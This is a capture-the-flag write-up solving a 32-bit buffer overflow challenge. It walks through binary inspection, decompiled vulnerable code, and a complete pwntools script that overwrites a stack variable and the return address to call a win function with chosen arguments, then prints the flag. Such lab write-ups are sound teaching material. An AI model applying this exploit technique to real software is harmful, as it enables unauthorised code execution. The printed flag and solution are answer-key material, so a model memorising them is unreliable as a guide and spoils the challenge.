Rating:
## beef-of-finitude (100)
### Description
> Fun for all ages
### Gathering information
We are given an executable and a remote service to exploit.
Let's inspect the binary.
```console
> file bof.out
bof.out: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=0a74e270e67dbd80d4fbed7d3fc1dfda9f48fee4, for GNU/Linux 3.2.0, not stripped
```
The binary is not stripped and with `nm` we can already see some interesting functions:
```console
> nm bof.out
...
0804c034 B flag
...
08049405 T main
0804934e T myFun
...
08049236 T win
...
```
Let's check for security measures:
```console
> checksec bof.out
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
```
No Stack canaries and PIE, this could be an easy buffer overflow if we have a vulnerable function.
By looking at the binary symbols or by running the program with `ltrace` we can see that the user input is taken via `fgets`.
`fgets` reads in at most one less than the specified argument of characters from a stream and stores them into the specified buffer.
We are *lucky* since the guard is way to high to prevent a buffer overflow on the array where our input will be saved.
Let's inspect the binary in `Ghidra` to see if we can gather more information about the previously seen functions.
*myFun*:
```c
void myFun(void)
{
char second_buffer[10];
char first_buffer[16];
int var_to_change = 7;
puts("Enter your Name: ");
fgets(first_buffer, 16, stdin);
puts("Enter your password: ");
fgets(second_buffer, 336, stdin);
if (var_to_change == -0x21524111) // 0xdeadbeef
{
flag = 1;
puts("Wow you overflowed the right value! Now try to find the flag !\n");
}
else
{
puts("Try again!\n");
}
return;
}
```
And *win*:
```c
void win(uint param_1,uint param_2,uint param_3,uint param_4)
{
char flag_buffer [256];
FILE *file_ptr;
if ((((param_2 | param_1 ^ 0x14b4da55) == 0) && ((param_3 ^ 0x67616c66 | param_4) == 0)) && (flag == 1))
{
file_ptr = fopen("./flag.txt","r");
if (file_ptr == (FILE *)0x0)
{
puts("flag.txt not found - ping us on discord if this is happening on the shell server\n");
}
else
{
fgets(flag_buffer,0x100,file_ptr);
printf("flag: %s\n",flag_buffer);
}
return;
}
puts("Close, but not quite.\n");
exit(1);
}
```
So, as an high level overview, we need to:
1. Trigger a buffer overflow
2. Rewrite the variable checked against `0xdeadbeef` on the `myFun` function
3. Rewrite the instruction pointer to redirect the execution to the `win` function
4. Set the right arguments to pass the if-statement and trigger the `fopen` call
### Exploitation
We can write a script with `pwntools` to exploit the remote server:
```python
#!/usr/bin/env python3
from pwn import *
e = context.binary = ELF("./bof.out")
io = remote("challenges.ctfd.io", 30027)
OFFSET_TO_VAR = 41
OFFSET_TO_IP = 12
pad_1 = b"A" * OFFSET_TO_VAR
pad_2 = b"A" * OFFSET_TO_IP
stack_frame = p32(e.symbols["win"])
stack_frame += p32(e.symbols["exit"])
stack_frame += p32(0x14b4da55) # param_1
stack_frame += p32(0) # param_2
stack_frame += p32(0x67616c66) # param_3
stack_frame += p32(0) # param_4
info(f"{stack_frame = }")
payload = pad_1 + p32(0xdeadbeef) + pad_2 + stack_frame
info(f"{payload = }")
io.sendline(payload)
io.recvuntil(b"flag:")
flag = io.recvline().strip().decode()
io.close()
success(f"{flag = }")
```
### The Flag
`UDCTF{0bl1g4t0ry_buff3r_ov3rflow}`
### Conclusion
This challenge neatly demonstrates a simple buffer overflow, with an overwriting of a local variable and passing parameters to a function to get our flag.